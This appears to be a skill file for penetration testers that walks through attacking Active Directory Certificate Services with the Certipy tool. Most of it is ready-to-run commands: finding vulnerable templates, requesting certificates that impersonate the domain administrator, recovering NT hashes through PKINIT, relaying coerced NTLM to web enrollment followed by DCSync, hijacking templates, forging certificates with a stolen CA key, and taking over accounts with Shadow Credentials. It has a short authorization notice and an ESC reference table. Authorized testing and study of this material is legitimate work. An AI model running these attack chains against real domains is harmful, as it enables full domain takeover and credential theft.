Legal Notice: This skill is for authorized security testing and educational purposes only. Active Directory Certificate Services attacks can result in full domain compromise. Run these techniques only against systems you own or have explicit written authorization to test. Unauthorized use is illegal under computer fraud statutes.
Active Directory Certificate Services (AD CS) is Microsoft's public-key infrastructure role used to issue certificates for authentication, encryption, and signing inside a Windows domain. SpecterOps researchers Will Schroeder and Lee Christensen documented a family of privilege-escalation primitives in their 2021 whitepaper Certified Pre-Owned, naming them ESC1 through ESC8. The community has since extended the catalog through ESC16. Because a certificate that maps to a privileged principal can be used for PKINIT Kerberos authentication, an attacker who obtains such a certificate can authenticate as a Domain Admin or Domain Controller without ever knowing the password — and the certificate remains valid even after a password reset.
Certipy (package certipy-ad, maintained by Oliver Lyak / ly4k) is the de-facto offensive toolkit for AD CS. It is a pure-Python tool that enumerates certificate authorities and templates over LDAP/RPC, requests and forges certificates, performs PKINIT/Schannel authentication, runs Shadow Credentials attacks, and relays coerced NTLM authentication into AD CS HTTP and RPC enrollment endpoints. Certipy supports detection and exploitation across the full ESC1-ESC16 range, making it the primary tool for AD CS assessment. Source: ly4k/Certipy and SpecterOps "Certified Pre-Owned".
# Recommended isolated install
pipx install certipy-ad
# Or with pip
pip install certipy-ad
# Verify
certipy --version
| ID | Technique | Application in this skill |
|---|---|---|
| T1649 | Steal or Forge Authentication Certificates | Requesting, forging, and abusing AD CS certificates (ESC1-ESC16) to authenticate as privileged principals |
certipy findCollect CA and template configuration and flag vulnerable templates. find runs LDAP and RPC queries and produces JSON, a BloodHound-compatible ZIP, and a human-readable text report.
# Full enumeration, only enabled templates, hide built-in admin ACEs
certipy find \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip 10.0.0.100 -text -enabled -hide-admins
# Output only templates Certipy considers vulnerable
certipy find \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip 10.0.0.100 -vulnerable -stdout
# Authenticate with an NT hash instead of a password
certipy find -u 'attacker@corp.local' -hashes ':fc525c9683e8fe067095ba2ddc971889' \
-dc-ip 10.0.0.100 -vulnerable -stdout
Review the [!] Vulnerabilities block in the output. Each finding is labeled ESC1...ESC16 with the affected template/CA name.
ESC1 templates let a low-privileged enrollee specify an arbitrary Subject Alternative Name and include the Client Authentication EKU. Request a certificate for a privileged UPN and pin the target SID (Certipy auto-adds the SID extension to satisfy the post-May-2022 strong-mapping patch).
certipy req \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip 10.0.0.100 -target 'CA.CORP.LOCAL' \
-ca 'CORP-CA' -template 'VulnUserTemplate' \
-upn 'administrator@corp.local' \
-sid 'S-1-5-21-1111111111-2222222222-3333333333-500'
# -> saves administrator.pfx
certipy authUse the issued PFX to perform PKINIT, obtain a TGT, and recover the target's NT hash.
certipy auth -pfx administrator.pfx -dc-ip 10.0.0.100
# Output: a .ccache TGT and the recovered NT hash for administrator
If PKINIT is unavailable, fall back to Schannel/LDAP authentication:
certipy auth -pfx administrator.pfx -dc-ip 10.0.0.100 -ldap-shell
ESC8 abuses the AD CS web enrollment interface (/certsrv/) that accepts NTLM auth. Stand up Certipy's relay server targeting the CA's HTTP endpoint, then coerce a Domain Controller to authenticate to your relay (coercion covered in the Coercer skill).
# Terminal 1: relay coerced auth into web enrollment, request a DC cert
certipy relay -target 'http://CA.CORP.LOCAL' -template 'DomainController'
# Terminal 2: coerce DC1 to authenticate to the relay host (10.0.0.50)
coercer coerce -u 'attacker' -p 'Passw0rd!' -d corp.local \
-t 10.0.0.10 -l 10.0.0.50
Certipy writes a dc.pfx. Authenticate as the DC machine account and DCSync:
certipy auth -pfx 'dc$.pfx' -dc-ip 10.0.0.100
If you hold write access over a template, temporarily reconfigure it into an ESC1-vulnerable state, exploit, then restore.
# Make the template vulnerable (save the original config first)
certipy template -u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip 10.0.0.100 -template 'VulnTemplate' -write-default-configuration
# ... run Step 2 ESC1 request, then restore the saved configuration
With access to the CA's private key (e.g., via backup), forge certificates for any principal offline.
# Extract the CA certificate and private key from a compromised CA
certipy ca -backup -u 'admin@corp.local' -hashes :<nthash> \
-ca 'CORP-CA' -dc-ip 10.0.0.100
# Forge a certificate for any user using the CA key
certipy forge -ca-pfx 'CORP-CA.pfx' \
-upn 'administrator@corp.local' \
-subject 'CN=Administrator,CN=Users,DC=corp,DC=local'
If you have write access to a target's msDS-KeyCredentialLink, Certipy can take over the account end-to-end (see the dedicated Shadow Credentials skill).
certipy shadow auto -u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip 10.0.0.100 -account 'victim-dc$'
| Resource | Purpose | Link |
|---|---|---|
| Certipy (ly4k) | Primary AD CS attack toolkit | https://github.com/ly4k/Certipy |
| Certipy Wiki | Command reference and ESC explanations | https://github.com/ly4k/Certipy/wiki |
| Certified Pre-Owned (SpecterOps) | Original ESC1-ESC8 research | https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf |
| The Hacker Recipes — AD CS | Attack walkthroughs | https://www.thehacker.recipes/ad/movement/ad-cs |
| Impacket ntlmrelayx | Alternative ESC8 relay | https://github.com/fortra/impacket |
| ESC | Misconfiguration |
|---|---|
| ESC1 | Enrollee-supplied subject + Client Auth EKU on a low-priv template |
| ESC2 | Any Purpose / no EKU template usable as enrollment agent |
| ESC3 | Enrollment Agent template with loose enroll rights |
| ESC4 | Write access over a template (hijack into ESC1) |
| ESC5 | Weak ACLs on PKI objects (CA, NTAuthCertificates) |
| ESC6 | CA EDITF_ATTRIBUTESUBJECTALTNAME2 allows arbitrary SAN |
| ESC7 | Dangerous Manage CA / Manage Certificates permissions |
| ESC8 | NTLM relay to AD CS HTTP web enrollment |
| ESC9 | No security extension (szOID_NTDS_CA_SECURITY_EXT) on template |
| ESC10 | Weak certificate mapping registry settings |
| ESC11 | NTLM relay to AD CS RPC (ICertPassage) endpoint |
| ESC13 | Issuance policy linked to a privileged group (OID group link) |
| ESC15 | Application Policies abuse (CVE-2024-49019, "EKUwu") |
| ESC16 | Security extension disabled CA-wide |
certipy find -vulnerable ran and produced a list of exploitable templates/CAscertipy req
certipy auth returned a TGT and NT hash for the impersonated privileged account